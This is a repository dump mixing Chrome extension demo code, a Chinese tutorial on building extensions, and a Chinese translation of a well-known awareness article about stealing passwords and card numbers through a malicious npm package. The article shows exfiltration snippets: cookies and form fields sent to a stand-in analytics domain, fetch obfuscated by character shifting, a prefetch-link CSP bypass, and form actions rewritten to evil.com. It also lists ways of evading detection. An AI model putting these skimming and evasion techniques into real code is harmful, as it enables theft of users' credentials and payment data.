chrome.extension.getBackgroundPage(); 35 | bg.document.title = title; 36 | alert('修改成功!'); 37 | }); 38 | 39 | // 自定义窗体大小 40 | $('#custom_window_size').click(() => { 41 | chrome.windows.getCurrent({}, (currentWindow) => { 42 | var startLeft = 10; 43 | chrome.windows.update(currentWindow.id, 44 | { 45 | left: startLeft * 10, 46 | top: 100, 47 | width: 800, 48 | height: 600 49 | }); 50 | var inteval = setInterval(() => { 51 | if(startLeft >= 40) clearInterval(inteval); 52 | chrome.windows.update(currentWindow.id, {left: (++startLeft) * 10}); 53 | }, 50); 54 | }); 55 | }); 56 | 57 | // 最大化窗口 58 | $('#max_current_window').click(() => { 59 | chrome.windows.getCurrent({}, (currentWindow) => { 60 | // state: 可选 'minimized', 'maximized' and 'fullscreen' 61 | chrome.windows.update(currentWindow.id, {state: 'maximized'}); 62 | }); 63 | }); 64 | 65 | 66 | // 最小化窗口 67 | $('#min_current_window').click(() => { 68 | chrome.windows.getCurrent({}, (currentWindow) => { 69 | // state: 可选 'minimized', 'maximized' and 'fullscreen' 70 | chrome.windows.update(currentWindow.id, {state: 'minimized'}); 71 | }); 72 | }); 73 | 74 | // 打开新窗口 75 | $('#open_new_window').click(() => { 76 | chrome.windows.create({state: 'maximized'}); 77 | }); 78 | 79 | // 关闭全部 80 | $('#close_current_window').click(() => { 81 | chrome.windows.getCurrent({}, (currentWindow) => { 82 | chrome.windows.remove(currentWindow.id); 83 | }); 84 | }); 85 | 86 | // 新标签打开网页 87 | $('#open_url_new_tab').click(() => { 88 | chrome.tabs.create({url: 'https://www.baidu.com'}); 89 | }); 90 | 91 | // 当前标签打开网页 92 | $('#open_url_current_tab').click(() => { 93 | getCurrentTabId(tabId => { 94 | chrome.tabs.update(tabId, {url: 'http://www.so.com'}); 95 | }); 96 | }); 97 | 98 | // 获取当前标签ID 99 | $('#get_current_tab_id').click(() => { 100 | getCurrentTabId(tabId => { 101 | alert('当前标签ID:' + tabId); 102 | }); 103 | }); 104 | 105 | // 高亮tab 106 | $('#highlight_tab').click(() => { 107 | chrome.tabs.highlight({tabs: 0}); 108 | }); 109 | 110 | // popup主动发消息给content-script 111 | $('#send_message_to_content_script').click(() => { 112 | sendMessageToContentScript('你好,我是popup!', (response) => { 113 | if(response) alert('收到来自content-script的回复:'+response); 114 | }); 115 | }); 116 | 117 | // 监听来自content-script的消息 118 | chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) 119 | { 120 | console.log('收到来自content-script的消息:'); 121 | console.log(request, sender, sendResponse); 122 | sendResponse('我是popup,我已收到你的消息:' + JSON.stringify(request)); 123 | }); 124 | 125 | // popup与content-script建立长连接 126 | $('#connect_to_content_script').click(() => { 127 | getCurrentTabId((tabId) => { 128 | var port = chrome.tabs.connect(tabId, {name: 'test-connect'}); 129 | port.postMessage({question: '你是谁啊?'}); 130 | port.onMessage.addListener(function(msg) { 131 | alert('收到长连接消息:'+msg.answer); 132 | if(msg.answer && msg.answer.startsWith('我是')) 133 | { 134 | port.postMessage({question: '哦,原来是你啊!'}); 135 | } 136 | }); 137 | }); 138 | }); 139 | 140 | // 获取当前选项卡ID 141 | function getCurrentTabId(callback) 142 | { 143 | chrome.tabs.query({active: true, currentWindow: true}, function(tabs) 144 | { 145 | if(callback) callback(tabs.length ? tabs[0].id: null); 146 | }); 147 | } 148 | 149 | // 这2个获取当前选项卡id的方法大部分时候效果都一致,只有少部分时候会不一样 150 | function getCurrentTabId2() 151 | { 152 | chrome.windows.getCurrent(function(currentWindow) 153 | { 154 | chrome.tabs.query({active: true, windowId: currentWindow.id}, function(tabs) 155 | { 156 | if(callback) callback(tabs.length ? tabs[0].id: null); 157 | }); 158 | }); 159 | } 160 | 161 | // 向content-script主动发送消息 162 | function sendMessageToContentScript(message, callback) 163 | { 164 | getCurrentTabId((tabId) => 165 | { 166 | chrome.tabs.sendMessage(tabId, message, function(response) 167 | { 168 | if(callback) callback(response); 169 | }); 170 | }); 171 | } 172 | 173 | // 向content-script注入JS片段 174 | function executeScriptToCurrentTab(code) 175 | { 176 | getCurrentTabId((tabId) => 177 | { 178 | chrome.tabs.executeScript(tabId, {code: code}); 179 | }); 180 | } 181 | 182 | 183 | // 演示2种方式操作DOM 184 | 185 | // 修改背景色 186 | $('#update_bg_color').click(() => { 187 | executeScriptToCurrentTab('document.body.style.backgroundColor="red";') 188 | }); 189 | 190 | // 修改字体大小 191 | $('#update_font_size').click(() => { 192 | sendMessageToContentScript({cmd:'update_font_size', size: 42}, function(response){}); 193 | }); 194 | 195 | // 显示badge 196 | $('#show_badge').click(() => { 197 | chrome.browserAction.setBadgeText({text: 'New'}); 198 | chrome.browserAction.setBadgeBackgroundColor({color: [255, 0, 0, 255]}); 199 | }); 200 | 201 | // 隐藏badge 202 | $('#hide_badge').click(() => { 203 | chrome.browserAction.setBadgeText({text: ''}); 204 | chrome.browserAction.setBadgeBackgroundColor({color: [0, 0, 0, 0]}); 205 | }); 206 | 207 | // 显示桌面通知 208 | $('#show_notification').click(e => { 209 | chrome.notifications.create(null, { 210 | type: 'image', 211 | iconUrl: 'img/icon.png', 212 | title: '祝福', 213 | message: '骚年,祝你圣诞快乐!Merry christmas!', 214 | imageUrl: 'img/sds.png' 215 | }); 216 | }); 217 | 218 | $('#check_media').click(e => { 219 | alert('即将打开一个有视频的网站,届时将自动检测是否存在视频!'); 220 | chrome.tabs.create({url: 'http://www.w3school.com.cn/tiy/t.asp?f=html5_video'}); 221 | }); -------------------------------------------------------------------------------- /src/我是如何从你的网站盗取银行卡和密码的.md: -------------------------------------------------------------------------------- 1 | # 我是如何从你的网站盗取银行卡和密码的 2 | > 译者:本文翻译自[hackermoon上的文章](https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5),希望本文能唤起广大前端工作者的安全意识,以下为正文: 3 | 4 | *** 5 | 6 | > 以下是一个真实的故事。或者它可能只是基于一个真实的故事。也许这根本不是真的。 7 | 8 | 这周是一个安全恐慌周——似乎每天都有一个新的漏洞被发现。当家里人询问我相关的事情时,我需要假装我很懂行,这真的让我感到很煎熬。 9 | 10 | 看到与我亲近的人都在忧虑“网络安全”,这确实让我有所感触。 11 | 12 | 所以,我怀着沉重的心情,决定干净利落地告诉你,我过去几年是如何偷你的网站上的用户名,密码和信用卡号码。 13 | 14 | *** 15 | 16 | 恶意代码本身非常简单,当它在满足以下条件的页面上运行时,它就能发挥作用: 17 | 18 | * 该页面有一个\
标签 19 | * 一个input[type="password"]元素,或者name属性为"cardnumber"或"cvc"的元素等 20 | * 该页面包含“信用卡”,“结账”,“登录”,“密码”等字样。 21 | 22 | 然后,当密码/信用卡字段上出现"blur"事件或form标签上监听到"submit"事件时,我的代码会: 23 | 24 | * 获取页面上的所有表单字段(document.forms.forEach(…)) 25 | * 获取document.cookie 26 | * 将这些信息变成随机的字符串: 27 | ```jsx 28 | const payload = btoa(JSON.stringify(sensitiveUserData)) 29 | ``` 30 | * 然后将其发送到`https://legit-analytics.com?q=${payload}`(当然这不是真正的域名) 31 | 32 | 简而言之,只要是看起来对我有价值的数据,我就会把它发送到我的服务器。 33 | 34 | *** 35 | 36 | 2015年时,当我第一次编写这段代码时,它毫无用处,只能躲在我电脑的某个角落里。我需要把它散布到这个世界,进入你的网站。 37 | 38 | 引用Google的一句话:如果攻击者成功注入了任何代码,那么游戏结束了! 39 | 40 | XSS规模太小,而且已经被针对保护得很好了。 41 | 42 | Chrome扩展程序也是被限制地死死的。 43 | 44 | 幸运的是,我们生活在一个人人都使用npm的时代,就像人们喜欢磕止痛药一样。 45 | 46 | *** 47 | 48 | 所以,npm是我的注入代码的方法。我需要创造一些有用的开源软件,让人们不假思索地安装——我的特洛伊木马。 49 | 50 | 人们喜欢漂亮的颜色 - 这是我们与狗之间的区别 - 所以我写了一个包,让你以任何颜色登录控制台。 51 | 52 | ![图片](https://github.com/luke93h/git-blog/blob/master/imgs/console.png?raw=true) 53 | 54 | 我很兴奋 - 我有一个引人注目的npm包 - 但我不想等待人们慢慢发现,并分享这个包。所以我开始为现有的包提PR,将我的彩色包添加到它们的依赖项中。 55 | 56 | 我为数百个前端包或者他们的依赖项提PR(当然是用各种用户帐户,而不是全用“David Gilbertson”这个账号):“嘿,我已经解决了问题x,并且还添加了一些日志记录。” 57 | 58 | 看,我正在为开源做贡献! 59 | 60 | 有很多敏感的人告诉我,他们不想要新的依赖,但这是能预期的,这是一个数字游戏。 61 | 62 | 总体而言,我取得了巨大成功,我的彩色控制台代码现在被23个软件包依赖。其中一个软件包本身被广泛的依赖 - 我的摇钱树。我不会说出它的名字,但是可以告诉你的是,它正在不断填充我的金库。 63 | 64 | 这只是一个包。我还有其他6个包正在运作着。 65 | 66 | 我现在每月大约被下载120,000次,我很自豪地宣布,我那些可恶的代码每天都在数千个网站上执行,包括少数Alexa-top上前1000网站,它们向我发送大量用户名,密码和信用卡明细。 67 | 68 | *** 69 | 70 | 回顾过去的黄金岁月,我无法相信人们为了将跨站代码放入单个站点而花费大量精力。现在,在我的前端朋友的帮助下,我将恶意代码发送到数千个网站非常容易。 71 | 72 |

你可能会对我的盗窃提出一些疑问......

73 | 74 |

我注意到了你发出的网络请求!

75 | 76 | 你会在哪里注意到它们?当DevTools打开时,我的代码不会发送任何内容(即使没有被展开)。 77 | 78 | 我把这称为海森堡机动:如果你试图观察我代码的行为,我代码的行为将会发生改变。 79 | 80 | 在localhost或任何IP地址上运行时,或者域名中包含dev,test,qa,uat或staging(由\b字边界包围)等字样时,它也保持静默。 81 | 82 |

但渗透测试人员会在他们的HTTP请求监控工具中看到它!

83 | 84 | 测试人员工作几个小时?我的代码在工作日的早上7点到晚上7点之间没有发送任何内容。我的收获减半了,但减少了95%被抓的几率。 85 | 86 | 而且,你的密码我只需要一次。因此,我在一台设备上发起请求后,我记下了它(本地存储和cookie),该设备再也不会发起请求。 87 | 88 | 即使有一些勤奋的测试人员不断地(在周末)清除cookie和本地存储,我也只是间歇性地发送这些请求(大约七次,轻微随机化 )。 89 | 90 | 此外,该网址看起来很像您网站对其他300个广告发起的网络请求。 91 | 92 | 也许你有一个自动测试程序,每周7天每天24小时填写付款表格并检查可疑的网络请求。您使用的是PhantomJS,Selenium,W​​ebDriver还是friends?抱歉,它们都为窗口添加了易于检测的属性,因此在检测到后,我不会发起任何请求。 93 | 94 | 关键是,仅仅因为你没有看到它,并不意味着它没有发生。这已经两年多了,据我所知,至今为止没有任何人注意到我的请求。也许它现在就在你的网站上:) 95 | 96 | (有趣的是,当我查看我收集的所有密码和信用卡号码,并将它们捆绑起来在黑暗网上出售时,我必须过滤我自己的信用卡号码和用户名,以防我出卖了我自己。真是可笑!) 97 | 98 |

我会在你的GitHub源代码中看到它!

99 | 100 | 你的单纯温暖了我的心。 101 | 102 | 但是很遗憾,将一个版本的代码发送到GitHub,并将其他版本发送到npm是完全可行的。 103 | 104 | 在我的package.json中,我将files属性指向包含压缩代码的lib文件夹 - 这是npm publish命令将发送给npm服务器的文件夹。但是lib在我的.gitignore中,它永远不会被推送到GitHub。这是一种很常见的做法,因此您在GitHub上找不到任何疑点。 105 | 106 | 这不是一个npm问题,即使我没有向npm和GitHub推送不同的代码,谁能保证你所看到的/lib/package.min.js是/src/package.js压缩后的真正结果? 107 | 108 | 所以很抱歉,你不会在GitHub上的任何地方找到我那可恶的代码。 109 | 110 |

我读了node_modules中所有压缩后的源码!

111 | 112 | 好了,现在你只是在单纯的找茬。但也许你认为你可以写一些聪明的代码,自动检查代码是否有任何可疑之处。 113 | 114 | 你仍然不会在我的源代码中发现任何有意义的东西,在我代码中的任何地方都不会找到fetch或XMLHttpRequest ,或者我要发送到的域名。我的fetch代码如下所示: 115 | 116 | ```jsx 117 | const i = 'gfudi'; 118 | const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join(''); 119 | self[k(i)](urlWithYourPreciousData); 120 | ``` 121 | 122 | “gfudi”只是“fetch”,每个字母向前移动一位。解密方法就在上面。self只是window的别名。 123 | 124 | 甚至还可以用self['\u0066\u0065\u0074\u0063\u0068'\]\(...\)来表示fetch(...)。 125 | 126 | 重点是:你更本没有任何机会,在混淆的代码中发现可疑的代码。 127 | 128 | (尽管如此,实际上我并没有使用平凡的fetch,如果可以,我更喜欢用new EventSource(urlWithYourPreciousData)。这样即使你是偏执狂,并通过serviceWorker监听fetch事件来监控请求,我依旧可以绕过去。只要是支持serviceWorker但不支持EventSource的浏览器,我便不会发送任何内容。) 129 | 130 |

我有content security policy!

131 | 132 | 哦?你现在真的有吗? 133 | 134 | 或许有人告诉你,这能阻止恶意代码发起请求?我讨厌成为坏消息的传递者,但是即使是最严格的content security policy,以下四行代码也会能绕过去。 135 | 136 | ```jsx 137 | const linkEl = document.createElement('link'); 138 | linkEl.rel = 'prefetch'; 139 | linkEl.href = urlWithYourPreciousData; 140 | document.head.appendChild(linkEl); 141 | ``` 142 | 143 | (在这篇文章的早期版本中,我说一个可靠的content security policy会让你(并且我加了引号)“100%安全”。不幸的是,在我学会上述技巧之前,已经有130k人读过这个了) 144 | 145 | 但是CSP(content security policy )并不是完全无益的。上述方法只适用于Chrome,一个不错的CSP 能那些在较少使用的浏览器中阻止我的盗窃行为。 146 | 147 | 如果您还不知道,content security policy可以限制从浏览器发出的网络请求。它旨在限制您可以带入浏览器的内容,但也可以 - 作为副作用 - 限制数据发送出去的方式(当我将密码发送到我的服务器时,它只是一个查询参数得到请求)。 148 | 149 | 如果我无法使用预请求获取数据,那么CSP对我的信用卡收集来说很棘手。而且不仅仅是因为限制到了我的恶意请求。 150 | 151 | 您看,如果我尝试从具有CSP的站点发送数据,它可以向站点所有者警告失败的尝试(如果他们指定了一个反馈的url)。他们最终会跟踪我的代码,并可能打电话给我的母亲,那我麻烦就大了。 152 | 153 | 由于我不想引来注意,我会在尝试发送内容之前检查你的CSP。 154 | 155 | 为此,我在当前页面发起虚拟请求,并读取响应头。 156 | 157 | ```jsx 158 | fetch(document.location.href) 159 | .then(resp => { 160 | const csp = resp.headers.get('Content-Security-Policy'); 161 | // does this exist? Is is any good? 162 | }); 163 | ``` 164 | 165 | 在这一点上,我可以寻找绕过CSP的方法。Google登录页面上有一个CSP,如果我的代码在该页面上运行,我可以轻松发送您的用户名和密码。他们没有明确设置connect-src,也没有设置catch-all default-src,所以我可以发送你的凭据。 166 | 167 | 如果您向我邮寄10美元,我会告诉您我的代码是否在Google登录页面上运行。 168 | 169 | 亚马逊在您输入信用卡号的页面上根本没有CSP,eBay也没有。 170 | 171 | Twitter和PayPal都有CSP,但从它们那里获取数据仍然很容易。这两个允许以相同的方式在后台发送数据,这可能是其他网站也允许的标志。乍一看,一切都看起来非常彻底,它们都有设置catch-all default-src。但这里有一个破坏者:这个catch-all完全没起作用,因为他们没有锁定form-action。 172 | 173 | 所以,当我检查你的CSP(并且会检查两次)时,如果其他一切都被锁定但我没有看到form-action,我只是去改变(当你点击'登录时发送数据的地方) ')所有表单上的action。 174 | 175 | ```jsx 176 | Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`); 177 | ``` 178 | 179 | 嘭!谢谢你给我发送你的PayPal用户名和密码,朋友。我会寄给你一张感谢卡,上面写着我用你的钱买的东西的照片。 180 | 181 | 当然,我只对每个设备执行一次此操作,然后将用户反弹回到引用页面,在那里他们会耸耸肩并再试一次。 182 | 183 | (使用这种方法,我接管了特朗普的Twitter帐户并开始发送各种奇怪的东西。至今没有人注意到。) 184 | 185 |

好的,我很关心,我该怎么办?

186 | 187 | ### 选项一: 188 | 189 | ![yewai](https://github.com/luke93h/git-blog/blob/master/imgs/yewai.jpeg?raw=true) 190 | 191 | 在这里,你会很安全。 192 | 193 | ### 选项2: 194 | 195 | 我在后续帖子中详细说明了这一点,[第2部分:如何阻止我从您的网站上获取信用卡号和密码。](https://hackernoon.com/part-2-how-to-stop-me-harvesting-credit-card-numbers-and-passwords-from-your-site-844f739659b9) 196 | 197 | 在任何收集您不希望我(或我的其他攻击者)拥有的数据的页面上,不要使用npm模块。或Google跟踪代码管理器,广告网络或分析,或任何不属于您的代码。 198 | 199 | 正如此处所建议的那样,您可能需要考虑在iFrame中提供用于登录和信用卡收集的专用轻量级页面。 200 | 201 | 您仍然可以使用带有938个npm包的大型React应用程序,用于开发页眉/页脚/导航/任何内容,但是用户键入的页面部分应该位于安全的iFrame中,并且它只包含手打的JavaScript代码(并且是未压缩的代码)——如果你想进行客户端验证。 -------------------------------------------------------------------------------- /examples/chrome-extension/js/popup.js: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 The Chromium Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style license that can be 3 | // found in the LICENSE file. 4 | 5 | /** 6 | * Get the current URL. 7 | * 8 | * @param {function(string)} callback called when the URL of the current tab 9 | * is found. 10 | */ 11 | 12 | function getCurrentTabUrl(callback) { 13 | // Query filter to be passed to chrome.tabs.query - see 14 | // https://developer.chrome.com/extensions/tabs#method-query 15 | var queryInfo = { 16 | active: true, 17 | currentWindow: true 18 | }; 19 | 20 | chrome.tabs.query(queryInfo, (tabs) => { 21 | // chrome.tabs.query invokes the callback with a list of tabs that match the 22 | // query. When the popup is opened, there is certainly a window and at least 23 | // one tab, so we can safely assume that |tabs| is a non-empty array. 24 | // A window can only have one active tab at a time, so the array consists of 25 | // exactly one tab. 26 | var tab = tabs[0]; 27 | // A tab is a plain object that provides information about the tab. 28 | // See https://developer.chrome.com/extensions/tabs#type-Tab 29 | var url = tab.url; 30 | 31 | // tab.url is only available if the "activeTab" permission is declared. 32 | // If you want to see the URL of other tabs (e.g. after removing active:true 33 | // from |queryInfo|), then the "tabs" permission is required to see their 34 | // "url" properties. 35 | console.assert(typeof url == 'string', 'tab.url should be a string'); 36 | 37 | callback(url); 38 | }); 39 | 40 | // Most methods of the Chrome extension APIs are asynchronous. This means that 41 | // you CANNOT do something like this: 42 | // 43 | // var url; 44 | // chrome.tabs.query(queryInfo, (tabs) => { 45 | // url = tabs[0].url; 46 | // }); 47 | // alert(url); // Shows "undefined", because chrome.tabs.query is async. 48 | } 49 | 50 | /** 51 | * Change the background color of the current page. 52 | * 53 | * @param {string} color The new background color. 54 | */ 55 | 56 | function startPoll(infos) { 57 | // See https://developer.chrome.com/extensions/tabs#method-executeScript. 58 | // chrome.tabs.executeScript allows us to programmatically inject JavaScript 59 | // into a page. Since we omit the optional first argument "tabId", the script 60 | // is inserted into the active tab of the current window, which serves as the 61 | // default. 62 | 63 | sendMessageToContentScript({type:'start', payload:infos}, function(response){ 64 | }); 65 | } 66 | 67 | /** 68 | * Gets the saved background color for url. 69 | * 70 | * @param {string} url URL whose background color is to be retrieved. 71 | * @param {function(string)} callback called with the saved background color for 72 | * the given url on success, or a falsy value if no color is retrieved. 73 | */ 74 | function getSaved(url, callback) { 75 | // See https://developer.chrome.com/apps/storage#type-StorageArea. We check 76 | // for chrome.runtime.lastError to ensure correctness even when the API call 77 | // fails. 78 | chrome.storage.sync.get(url, (items) => { 79 | callback(chrome.runtime.lastError ? null : items[url]); 80 | }); 81 | } 82 | 83 | /** 84 | * Sets the given background color for url. 85 | * 86 | * @param {string} url URL for which background color is to be saved. 87 | * @param {string} color The background color to be saved. 88 | */ 89 | function saveInputValue(url, infos) { 90 | var items = {}; 91 | items[url] = infos; 92 | // See https://developer.chrome.com/apps/storage#type-StorageArea. We omit the 93 | // optional callback since we don't need to perform any action once the 94 | // background color is saved. 95 | chrome.storage.sync.set(items); 96 | } 97 | 98 | // This extension loads the saved background color for the current tab if one 99 | // exists. The user can select a new background color from the dropdown for the 100 | // current page, and it will be saved as part of the extension's isolated 101 | // storage. The chrome.storage API is used for this purpose. This is different 102 | // from the window.localStorage API, which is synchronous and stores data bound 103 | // to a document's origin. Also, using chrome.storage.sync instead of 104 | // chrome.storage.local allows the extension data to be synced across multiple 105 | // user devices. 106 | document.addEventListener('DOMContentLoaded', () => { 107 | getCurrentTabUrl((url) => { 108 | var startBtn = document.getElementById('start'); 109 | var codeInput = document.getElementById('code'); 110 | var numberInput = document.getElementById('number'); 111 | var intervalInput = document.getElementById('number'); 112 | 113 | // Load the saved background color for this page and modify the dropdown 114 | // value, if needed. 115 | getSaved(url, (infos) => { 116 | if (infos) { 117 | startPoll(infos); 118 | codeInput.value = infos.code; 119 | numberInput.value = infos.number; 120 | intervalInput.value = infos.intervalInput; 121 | } 122 | }); 123 | 124 | // Ensure the background color is changed and saved when the dropdown 125 | // selection changes. 126 | startBtn.addEventListener('click', () => { 127 | var infos = { 128 | code: codeInput.value, 129 | number: numberInput.value, 130 | intervalInput: intervalInput.value 131 | } 132 | startPoll(infos); 133 | saveInputValue(url, { 134 | code: codeInput.value, 135 | number: numberInput.value, 136 | intervalInput: intervalInput.value 137 | }); 138 | }); 139 | }); 140 | }); 141 | 142 | function sendMessageToContentScript(message, callback){ 143 | chrome.tabs.query({active: true, currentWindow: true}, function(tabs){ 144 | chrome.tabs.sendMessage(tabs[0].id, message, function(response){ 145 | if(callback) callback(response); 146 | }); 147 | }); 148 | } 149 | 150 | chrome.runtime.onMessage.addListener(function(request, sender, sendResponse){ 151 | // console.log(sender.tab ?"from a content script:" + sender.tab.url :"from the extension"); 152 | if(request.type == 'refresh') { 153 | var payload = request.payload 154 | var trDom = document.querySelectorAll('#' + payload.code) 155 | if(trDom.length > 0){ 156 | trDom[0].querySelectorAll('td.stock')[0].innerHTML = payload.stock 157 | trDom[0].querySelectorAll('td.time')[0].innerHTML = payload.time 158 | }else{ 159 | document.querySelectorAll('#result table tbody')[0].appendChild(createTr(payload)) 160 | } 161 | } 162 | }); 163 | function createTr(info){ 164 | var tr = document.createElement("tr") 165 | tr.id = info.code 166 | tr.innerHTML = 167 | '' + 168 | info.name + 169 | '' + 170 | '' + 171 | info.stock + 172 | '' + 173 | '' + 174 | info.time + 175 | '' 176 | return tr 177 | } -------------------------------------------------------------------------------- /src/如何开发chrome-extension.md: -------------------------------------------------------------------------------- 1 | # chrome extension简介 2 | 3 | ## chrome extension是什么 4 | 5 | 1. chrome extension开发成本低,由一些文件(包括 HTML、CSS、JavaScript、图片以及其他任何您需要的文件)经过 zip 打包得到,本质上是网页。 6 | 2. chrome extension不仅可以利用[浏览器为网页提供的所有 API](https://crxdoc-zh.appspot.com/extensions/api_other),还可以用[chrome为扩展程序提供了许多专用 API](https://crxdoc-zh.appspot.com/extensions/api_index)。 7 | 8 | ## 为什么要用chrome extension 9 | 10 | 1. 有些场景下,我们并不是网页的开发者,但想要为网站添加更多的功能,这时候也可以用chrome extension来解决。 11 | 2. chrome extension拥有比网页更加丰富的api 12 | 13 | ## chrome扩展能做什么 14 | 15 | 1. 代理:[Proxy SwitchyOmega](https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif) 16 | 2. 开发者工具: [react](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi)、[redux](https://chrome.google.com/webstore/detail/redux-devtools/lmhkpmbekcpmknklioeibfkpmmfibljd) 17 | 3. 广告过滤:[AdGuard 广告拦截器](https://chrome.google.com/webstore/detail/adguard-adblocker/bgnkhhnnamicmpeenaelnjfhikgbkllg) 18 | 4. 抢票软件:[台湾高铁抢票插件](https://chrome.google.com/webstore/detail/%E5%8F%B0%E6%B9%BE%E9%AB%98%E9%93%81%E6%8A%A2%E7%A5%A8%E6%8F%92%E4%BB%B6/nfkfaajobpcjpmcmpcacncimfmjppgoj) 19 | 5. 视频下载: [优酷一键通](https://chrome.google.com/webstore/detail/%E4%BC%98%E9%85%B7%E4%B8%80%E9%94%AE%E9%80%9A/alddjbjplgobbllfolehibiclbhmomla) 20 | 6. 等等 21 | 22 | ## 开发与调试 23 | 24 | 1. 加载扩展文件:扩展程序页面(chrome://extensions),开启开发者模式,点击“加载已解压的扩展程序” 25 | 2. 更新:扩展程序页面(chrome://extensions),点击“更新” 26 | 3. 调试popup.js:右击扩展图标,点击“审核弹出内容” 27 | 28 | ## 文件组成 29 | 30 | 1. [清单文件-manifest.json](#manifest) 31 | 2. 一个或多个 HTML 文件(除非扩展程序是一个主题背景) 32 | 3. 可选:一个或多个 JavaScript 文件 33 | 4. 可选:您的扩展程序需要的任何其他文件,例如图片 34 | 35 | ## 引用文件 36 | 37 | 1. 先对路径 38 | ``` 39 | 40 | ``` 41 | 2. 绝对路径,使用浏览器访问 42 | ``` 43 | chrome-extension://<扩展程序标识符>/<文件路径> 44 | ``` 45 | 46 | ## 清单文件-manifest.json 47 | 48 | [完整清单文件格式](https://crxdoc-zh.appspot.com/extensions/manifest) 49 | ```jsx 50 | { 51 | // 清单文件的版本,这个必须写,而且必须是2 52 | "manifest_version": 2, 53 | // 插件的名称 54 | "name": "demo", 55 | // 插件的版本 56 | "version": "1.0.0", 57 | // 插件描述 58 | "description": "简单的Chrome扩展demo", 59 | // 图标,一般偷懒全部用一个尺寸的也没问题 60 | "icons": 61 | { 62 | "16": "img/icon.png", 63 | "48": "img/icon.png", 64 | "128": "img/icon.png" 65 | }, 66 | // 会一直常驻的后台JS或后台页面 67 | "background": 68 | { 69 | // 2种指定方式,如果指定JS,那么会自动生成一个背景页 70 | "page": "background.html" 71 | //"scripts": ["js/background.js"] 72 | }, 73 | // 浏览器右上角图标设置,browser_action、page_action、app必须三选一 74 | "browser_action": 75 | { 76 | "default_icon": "img/icon.png", 77 | // 图标悬停时的标题,可选 78 | "default_title": "这是一个示例Chrome插件", 79 | "default_popup": "popup.html" 80 | }, 81 | // 当某些特定页面打开才显示的图标 82 | /*"page_action": 83 | { 84 | "default_icon": "img/icon.png", 85 | "default_title": "我是pageAction", 86 | "default_popup": "popup.html" 87 | },*/ 88 | // 需要直接注入页面的JS 89 | "content_scripts": 90 | [ 91 | { 92 | //"matches": ["http://*/*", "https://*/*"], 93 | // "" 表示匹配所有地址 94 | "matches": [""], 95 | // 多个JS按顺序注入 96 | "js": ["js/jquery-1.8.3.js", "js/content-script.js"], 97 | // JS的注入可以随便一点,但是CSS的注意就要千万小心了,因为一不小心就可能影响全局样式 98 | "css": ["css/custom.css"], 99 | // 代码注入的时间,可选值: "document_start", "document_end", or "document_idle",最后一个表示页面空闲时,默认document_idle 100 | "run_at": "document_start" 101 | }, 102 | // 这里仅仅是为了演示content-script可以配置多个规则 103 | { 104 | "matches": ["*://*/*.png", "*://*/*.jpg", "*://*/*.gif", "*://*/*.bmp"], 105 | "js": ["js/show-image-content-size.js"] 106 | } 107 | ], 108 | // 权限申请 109 | "permissions": 110 | [ 111 | "contextMenus", // 右键菜单 112 | "tabs", // 标签 113 | "notifications", // 通知 114 | "webRequest", // web请求 115 | "webRequestBlocking", 116 | "storage", // 插件本地存储 117 | "http://*/*", // 可以通过executeScript或者insertCSS访问的网站 118 | "https://*/*" // 可以通过executeScript或者insertCSS访问的网站 119 | ], 120 | // 普通页面能够直接访问的插件资源列表,如果不设置是无法直接访问的 121 | "web_accessible_resources": ["js/inject.js"], 122 | // 插件主页,这个很重要,不要浪费了这个免费广告位 123 | "homepage_url": "https://www.baidu.com", 124 | // 覆盖浏览器默认页面 125 | "chrome_url_overrides": 126 | { 127 | // 覆盖浏览器默认的新标签页 128 | "newtab": "newtab.html" 129 | }, 130 | // Chrome40以前的插件配置页写法 131 | "options_page": "options.html", 132 | // Chrome40以后的插件配置页写法,如果2个都写,新版Chrome只认后面这一个 133 | "options_ui": 134 | { 135 | "page": "options.html", 136 | // 添加一些默认的样式,推荐使用 137 | "chrome_style": true 138 | }, 139 | // 向地址栏注册一个关键字以提供搜索建议,只能设置一个关键字 140 | "omnibox": { "keyword" : "go" }, 141 | // 默认语言 142 | "default_locale": "zh_CN", 143 | // devtools页面入口,注意只能指向一个HTML文件,不能是JS文件 144 | "devtools_page": "devtools.html" 145 | } 146 | ``` 147 | 148 | ## 用户界面网页-popup 149 | 150 | popup是点击browser_action或者page_action图标时打开的一个小窗口网页,焦点离开网页就立即关闭。 151 | 一般用于和用户的交互,并把信息传递给content-scripts或者backgorund.js,实现功能的交互。 152 | 153 | ![popup](https://github.com/luke93h/git-blog/blob/master/imgs/popup.png?raw=true) 154 | 155 | 配置方式: 156 | 157 | ```jsx 158 | { 159 | "browser_action": 160 | { 161 | "default_icon": "img/icon.png", 162 | // 图标悬停时的标题,可选 163 | "default_title": "这是一个示例Chrome插件", 164 | "default_popup": "popup.html" 165 | } 166 | } 167 | ``` 168 | 169 | ## content-scripts 170 | 171 | 所谓content-scripts,其实就是Chrome插件中向页面注入脚本的一种形式(虽然名为script,其实还可以包括css的),借助content-scripts我们可以实现通过配置的方式轻松向指定页面注入JS和CSS(如果需要动态注入,可以参考下文),最常见的比如:广告屏蔽、页面CSS定制,等等。 172 | 173 | 示例配置: 174 | ```jsx 175 | { 176 | // 需要直接注入页面的JS 177 | "content_scripts": 178 | [ 179 | { 180 | //"matches": ["http://*/*", "https://*/*"], 181 | // "" 表示匹配所有地址 182 | "matches": [""], 183 | // 多个JS按顺序注入 184 | "js": ["js/jquery-1.8.3.js", "js/content-script.js"], 185 | // JS的注入可以随便一点,但是CSS的注意就要千万小心了,因为一不小心就可能影响全局样式 186 | "css": ["css/custom.css"], 187 | // 代码注入的时间,可选值: "document_start", "document_end", or "document_idle",最后一个表示页面空闲时,默认document_idle 188 | "run_at": "document_start" 189 | } 190 | ], 191 | } 192 | ``` 193 | 194 | ## background 195 | 196 | 后台(姑且这么翻译吧),是一个常驻的页面,它的生命周期是插件中所有类型页面中最长的,它随着浏览器的打开而打开,随着浏览器的关闭而关闭,所以通常把需要一直运行的、启动就运行的、全局的代码放在background里面。 197 | 198 | 配置: 199 | 200 | ```jsx 201 | { 202 | // 会一直常驻的后台JS或后台页面 203 | "background": 204 | { 